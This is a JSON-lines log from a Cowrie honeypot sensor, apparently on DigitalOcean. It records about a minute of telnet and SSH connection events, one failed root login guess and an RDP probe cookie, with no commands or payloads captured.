{"eventid":"cowrie.session.closed","duration":31.45834469795227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:14.026937Z","src_ip":"173.249.44.46","session":"68d0a7a6b610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731597900390625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:14.068331Z","src_ip":"85.208.100.77","session":"b5f90a818f38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299784183502197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:14.268214Z","src_ip":"85.208.100.77","session":"cbf08e021823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.303471326828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:16.066326Z","src_ip":"173.249.44.46","session":"0a2367d2eb8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926005840301514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:16.200797Z","src_ip":"85.208.100.77","session":"cdd4b1888d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":50920,"dst_ip":"159.203.135.109","dst_port":23,"session":"afff634433ed","protocol":"telnet","message":"New connection: 85.208.100.77:50920 (159.203.135.109:23) [session: afff634433ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:16.664936Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":51100,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9f2da4837fc","protocol":"telnet","message":"New connection: 149.102.133.101:51100 (159.203.135.109:23) [session: d9f2da4837fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:19.348745Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":42846,"dst_ip":"159.203.135.109","dst_port":23,"session":"b91491f3fd4e","protocol":"telnet","message":"New connection: 173.249.44.46:42846 (159.203.135.109:23) [session: b91491f3fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:19.885024Z"}
{"eventid":"cowrie.session.closed","duration":30.440125226974487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:20.054610Z","src_ip":"173.249.44.46","session":"8d2a3498cb9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":44106,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c9992a832d5","protocol":"telnet","message":"New connection: 173.249.44.46:44106 (159.203.135.109:23) [session: 7c9992a832d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:20.914236Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":44884,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5e6d057848","protocol":"telnet","message":"New connection: 173.249.44.46:44884 (159.203.135.109:23) [session: da5e6d057848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:21.448081Z"}
{"eventid":"cowrie.session.closed","duration":31.166415452957153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:22.140947Z","src_ip":"173.249.44.46","session":"fc3a344514e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195353984832764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:22.332174Z","src_ip":"173.249.44.46","session":"cf7554bd4ee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22185921669006,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:23.100672Z","src_ip":"43.134.118.172","session":"d3de935125ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":56094,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca318823ec8e","protocol":"telnet","message":"New connection: 185.185.82.165:56094 (159.203.135.109:23) [session: ca318823ec8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:24.753015Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":50812,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c6cbdbc8d1","protocol":"telnet","message":"New connection: 197.242.148.130:50812 (159.203.135.109:23) [session: f3c6cbdbc8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:25.182512Z"}
{"eventid":"cowrie.session.closed","duration":30.764419555664062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:29.123419Z","src_ip":"85.208.100.77","session":"36c493a86c1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75199794769287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:29.166260Z","src_ip":"85.208.100.77","session":"c7c88b002c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":39908,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed46251103e","protocol":"telnet","message":"New connection: 149.102.133.101:39908 (159.203.135.109:23) [session: 6ed46251103e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:30.286269Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":50496,"dst_ip":"159.203.135.109","dst_port":23,"session":"4067f24052c1","protocol":"telnet","message":"New connection: 85.208.100.77:50496 (159.203.135.109:23) [session: 4067f24052c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:30.297885Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":59726,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbdc676b9c97","protocol":"telnet","message":"New connection: 173.249.44.46:59726 (159.203.135.109:23) [session: cbdc676b9c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:31.238194Z"}
{"eventid":"cowrie.session.closed","duration":120.00142741203308,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:33.561370Z","src_ip":"190.171.93.41","session":"32b43358fefa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83947467803955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:36.086452Z","src_ip":"173.249.44.46","session":"3fdb9a8b4024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102638721466064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:37.207114Z","src_ip":"85.208.100.77","session":"98b12efd9eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727632761001587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:39.157919Z","src_ip":"173.249.44.46","session":"130c132b240d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67431116104126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:40.044496Z","src_ip":"173.249.44.46","session":"912201825a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722084522247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:40.106474Z","src_ip":"85.208.100.77","session":"3fdc890ff5b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":56444,"dst_ip":"10.17.0.5","dst_port":22,"session":"f60b77116b3d","protocol":"ssh","message":"New connection: 103.228.69.212:56444 (10.17.0.5:22) [session: f60b77116b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:42.161612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:42.171922Z","src_ip":"103.228.69.212","session":"f60b77116b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:42.400706Z","src_ip":"103.228.69.212","session":"f60b77116b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":58116,"dst_ip":"159.203.135.109","dst_port":23,"session":"92fca7fcbc62","protocol":"telnet","message":"New connection: 197.242.148.130:58116 (159.203.135.109:23) [session: 92fca7fcbc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:42.467023Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.145.22","src_port":32828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c985f2659367","protocol":"telnet","message":"New connection: 5.189.145.22:32828 (159.203.135.109:23) [session: c985f2659367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:43.355419Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd00","message":"login attempt [root/asdasd00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:43.373002Z","src_ip":"103.228.69.212","session":"f60b77116b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.634690046310425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:43.491352Z","src_ip":"85.208.100.77","session":"212572473af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":48406,"dst_ip":"159.203.135.109","dst_port":23,"session":"117339cdfa5e","protocol":"telnet","message":"New connection: 85.208.100.77:48406 (159.203.135.109:23) [session: 117339cdfa5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:43.601706Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.145.22","src_port":32852,"dst_ip":"159.203.135.109","dst_port":23,"session":"652acc808e85","protocol":"telnet","message":"New connection: 5.189.145.22:32852 (159.203.135.109:23) [session: 652acc808e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:44.168632Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:44.602636Z","src_ip":"103.228.69.212","session":"f60b77116b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":58124,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b8e8812639e","protocol":"telnet","message":"New connection: 197.242.148.130:58124 (159.203.135.109:23) [session: 5b8e8812639e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:45.020433Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":51190,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c09ba8cee8","protocol":"telnet","message":"New connection: 185.185.82.165:51190 (159.203.135.109:23) [session: 64c09ba8cee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:45.576596Z"}
{"eventid":"cowrie.session.closed","duration":30.410096883773804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:47.074923Z","src_ip":"85.208.100.77","session":"afff634433ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":57251,"dst_ip":"10.17.0.5","dst_port":22,"session":"84405d45e9d1","protocol":"ssh","message":"New connection: 103.149.252.223:57251 (10.17.0.5:22) [session: 84405d45e9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:48.529449Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:48.534115Z","src_ip":"103.149.252.223","session":"84405d45e9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:48.537712Z","src_ip":"103.149.252.223","session":"84405d45e9d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":51194,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb5066d73184","protocol":"telnet","message":"New connection: 185.185.82.165:51194 (159.203.135.109:23) [session: bb5066d73184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:50.019307Z"}
{"eventid":"cowrie.session.closed","duration":30.69546675682068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:50.044106Z","src_ip":"149.102.133.101","session":"d9f2da4837fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66279697418213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:50.547727Z","src_ip":"173.249.44.46","session":"b91491f3fd4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.242841243743896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:51.156970Z","src_ip":"173.249.44.46","session":"7c9992a832d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889201641082764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:52.337190Z","src_ip":"173.249.44.46","session":"da5e6d057848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":44878,"dst_ip":"159.203.135.109","dst_port":23,"session":"de222659745d","protocol":"telnet","message":"New connection: 185.185.82.165:44878 (159.203.135.109:23) [session: de222659745d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:54.143845Z"}
{"eventid":"cowrie.session.closed","duration":31.902574062347412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:57.084979Z","src_ip":"197.242.148.130","session":"f3c6cbdbc8d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75526785850525,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:57.508177Z","src_ip":"185.185.82.165","session":"ca318823ec8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":43166,"dst_ip":"159.203.135.109","dst_port":23,"session":"224c0f2bf1f3","protocol":"telnet","message":"New connection: 173.249.44.46:43166 (159.203.135.109:23) [session: 224c0f2bf1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:58.500525Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":51404,"dst_ip":"159.203.135.109","dst_port":23,"session":"779f3cb423e8","protocol":"telnet","message":"New connection: 85.208.100.77:51404 (159.203.135.109:23) [session: 779f3cb423e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:58.970785Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":43870,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebbfd1efb332","protocol":"telnet","message":"New connection: 173.249.44.46:43870 (159.203.135.109:23) [session: ebbfd1efb332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:58.994231Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":44718,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e5ab360dfb","protocol":"telnet","message":"New connection: 173.249.44.46:44718 (159.203.135.109:23) [session: a0e5ab360dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:59.732759Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":47786,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7d1b0a6f921","protocol":"telnet","message":"New connection: 197.242.148.130:47786 (159.203.135.109:23) [session: e7d1b0a6f921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:00.274437Z"}
{"eventid":"cowrie.session.closed","duration":30.75393033027649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:01.040087Z","src_ip":"149.102.133.101","session":"6ed46251103e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84167766571045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:01.139428Z","src_ip":"85.208.100.77","session":"4067f24052c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":46732,"dst_ip":"159.203.135.109","dst_port":23,"session":"95298c1c4cbf","protocol":"telnet","message":"New connection: 173.249.44.46:46732 (159.203.135.109:23) [session: 95298c1c4cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:01.396492Z"}
{"eventid":"cowrie.session.closed","duration":31.30428671836853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:02.542347Z","src_ip":"173.249.44.46","session":"cbdc676b9c97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":35182,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c3da607ffe","protocol":"telnet","message":"New connection: 43.134.118.172:35182 (10.17.0.5:23) [session: 32c3da607ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:06.824305Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":35166,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d0c673e304d","protocol":"telnet","message":"New connection: 43.134.118.172:35166 (10.17.0.5:23) [session: 5d0c673e304d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:07.033268Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":38568,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cbe0e8ae9ce","protocol":"telnet","message":"New connection: 197.242.148.130:38568 (159.203.135.109:23) [session: 6cbe0e8ae9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:09.815386Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":38592,"dst_ip":"159.203.135.109","dst_port":23,"session":"7014da5b3e71","protocol":"telnet","message":"New connection: 197.242.148.130:38592 (159.203.135.109:23) [session: 7014da5b3e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:12.313199Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":38576,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f583929d471","protocol":"telnet","message":"New connection: 197.242.148.130:38576 (159.203.135.109:23) [session: 2f583929d471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:13.117877Z"}
{"eventid":"cowrie.session.closed","duration":31.15739941596985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:13.624297Z","src_ip":"197.242.148.130","session":"92fca7fcbc62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570464611053467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:14.172018Z","src_ip":"85.208.100.77","session":"117339cdfa5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.423094987869263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:14.778390Z","src_ip":"5.189.145.22","session":"c985f2659367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47645926475525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:15.645004Z","src_ip":"5.189.145.22","session":"652acc808e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57228,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bee93bdaba4","protocol":"telnet","message":"New connection: 85.208.100.77:57228 (159.203.135.109:23) [session: 4bee93bdaba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:16.000901Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"39222deca302","protocol":"telnet","message":"New connection: 185.185.82.165:54756 (159.203.135.109:23) [session: 39222deca302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:16.340923Z"}
{"eventid":"cowrie.session.closed","duration":31.34192943572998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:16.362249Z","src_ip":"197.242.148.130","session":"5b8e8812639e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58648,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c5f99fc9c0","protocol":"telnet","message":"New connection: 85.208.100.77:58648 (159.203.135.109:23) [session: 68c5f99fc9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:16.680607Z"}
{"eventid":"cowrie.session.closed","duration":31.227775812149048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:16.804265Z","src_ip":"185.185.82.165","session":"64c09ba8cee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.158.124.3","src_port":36110,"dst_ip":"159.203.135.109","dst_port":23,"session":"0046568321e8","protocol":"telnet","message":"New connection: 197.158.124.3:36110 (159.203.135.109:23) [session: 0046568321e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:17.138930Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54768,"dst_ip":"159.203.135.109","dst_port":23,"session":"52230b2b46ee","protocol":"telnet","message":"New connection: 185.185.82.165:54768 (159.203.135.109:23) [session: 52230b2b46ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:17.470338Z"}
{"eventid":"cowrie.session.closed","duration":32.27782988548279,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:22.297020Z","src_ip":"185.185.82.165","session":"bb5066d73184","protocol":"telnet"}
